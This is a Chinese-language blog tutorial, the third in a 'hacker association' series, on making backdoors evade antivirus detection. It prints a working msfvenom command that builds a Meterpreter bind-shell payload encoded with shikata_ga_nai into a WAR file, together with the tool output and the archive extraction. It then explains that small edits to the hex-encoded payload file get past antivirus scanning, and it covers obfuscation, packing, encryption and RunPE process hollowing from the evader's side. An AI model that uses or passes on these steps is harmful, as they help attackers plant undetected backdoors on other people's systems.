黑客协会:黑客进阶之免杀后门第三章

黑客协会:黑客进阶之免杀后门第三章

中国黑客协会创始人花无涯带你走进黑客世界系列技术文章

前两个免杀系列章节都简单的介绍了相关的操作,这章开始直接案例实战,后几个章节专注检测修改加壳加密等方向案例操作,不过系列技术文章更新进度比较慢,首发新浪微博花无涯。

黑客协会:黑客进阶之免杀后门第三章_第1张图片

请点击此处输入图片描述

混淆检测:病毒由两个部分组成:载荷(payload)和混淆部件(obfuscator),载荷是用来做坏事的代码,而混淆部件则是病毒用来保护自身免于被查杀的,通常恶意软件开发者都会将其代码进行混淆以降低其代码的可读性。所以混淆检测就非常的有针对性。

杀毒软件对于病毒的判断是滞后性的,所以,在一个新病毒发布的最开始,即0day,杀软是无可奈何的,他们大概只能根据该病毒程序的发布时间来提醒你,却无法肯定其是否为病毒。只有一段时间后病毒库里有了这个病毒,才可以比对查杀。

从这个意义上讲,病毒发布之初,作者都是“高手”,但是只要被病毒库纳入,他们基本都废了,这是当前的杀毒软件具备的基本能力。

但是如果有一种病毒让人发现了,知道它是病毒,但是仍旧无可奈何,那就真的是高手了。一旦中毒,就真的麻烦了,比如勒索钱财的病毒,把你的文件给加密了,要让你付款才能解密。

免杀案例:

msfvenom 生成一个 WAR 文件:

root@osi:/tmp# msfvenom --platform windows  -a x86 -p windows/meterpreter/bind_tcp -ex86/shikata_ga_nai -i 2 LPORT=8484 -f war -o /tmp/OSI.war

Found 1compatible encoders

Attempting toencode payload with 2 iterations of x86/shikata_ga_nai

x86/shikata_ga_naisucceeded with size 326 (iteration=0)

x86/shikata_ga_naisucceeded with size 353 (iteration=1)

x86/shikata_ga_naichosen with final size 353

Payload size:353 bytes

Final size ofwar file: 52278 bytes

Saved as:/tmp/OSI.war

不幸的是大多数杀毒软件都能检测出这个文件。那么就让我们来深入挖掘下这个 WAR 文件,看看到底是哪一部分的代码导致被杀毒软件检出的,然后在来看看如何进行免杀。

msfvenom 所生成的 WAR 文件会包含两个文件夹(META-INF 和 WEB-INF)、一个 .txt 文件和一个 .jsp 文件,可以进行如下提取:

root@osi:/tmp# jar –xvf OSI.war

created:    META-INF/

inflated:   META-INF/MANIFEST.MF

created:    WEB-INF/

inflated:   WEB-INF/web.xml

inflated:   aprhqsfojqku.jsp

inflated:   pNJrRWnay.txt

这里的 .jsp 文件只是负责进行十六进制转码的,而真正的 Payload 则是以十六进制编码形式存储在 .txt 文件中。在经过大量的测试后,我们发现杀毒软件主要是基于 .txt 文件进行查杀的,而我们只需要对 .txt 文件进行些许的改动即可实现免杀。

加壳检测:恶意软件一般都会被压缩加壳,因为加壳会将可执行文件进行压缩打包, 并将压缩数据与解压缩代码组合成单个可执行文件的一种手段。 当执行被压缩过的可执行文件时,解压缩代码会在执行之前从压缩数据中重新创建原始代码。所以检测恶意软件是否使用了加壳技术,也是发现的一种重要手段。

加密检测:恶意软件使用加密对其二进制程序进行加密,以免被逆向分析。加密存在于恶意软件的构建器和存根中,当恶意软件需要解密时,不会用恶意代码常用的正常方法执行它。为了隐藏进程,恶意软件使用了一个有名的RunPE的技术,代码会以挂起的方式执行一个干净的进程(黑客入门到精通书籍《网络黑白》某宝有),然后把内存内容修改成恶意代码后再执行。所以检测RunPE的运行,就可以很容易的检测到恶意软件了。

启发式引擎是基于统计和规则的分析机制。他们主要的目的是检测事先未知的病毒,所以我们只能自行总结出常见的一些判断标准,过每一种杀毒软件的方式都不一样,各种杀毒引擎的方式都必须了解。

虽然本文已经列举了很多免杀的方法,但其实还有很多我们没有列举到,比如编译恶意程序时需要开启堆栈保护,降低文件大小可以加大逆向工程分析的难度,内联汇编的语法推荐用visual studio进行编译等,希望大家保持坚持学习的态度,感兴趣的可以留言给我。

你可能感兴趣的:(黑客协会:黑客进阶之免杀后门第三章)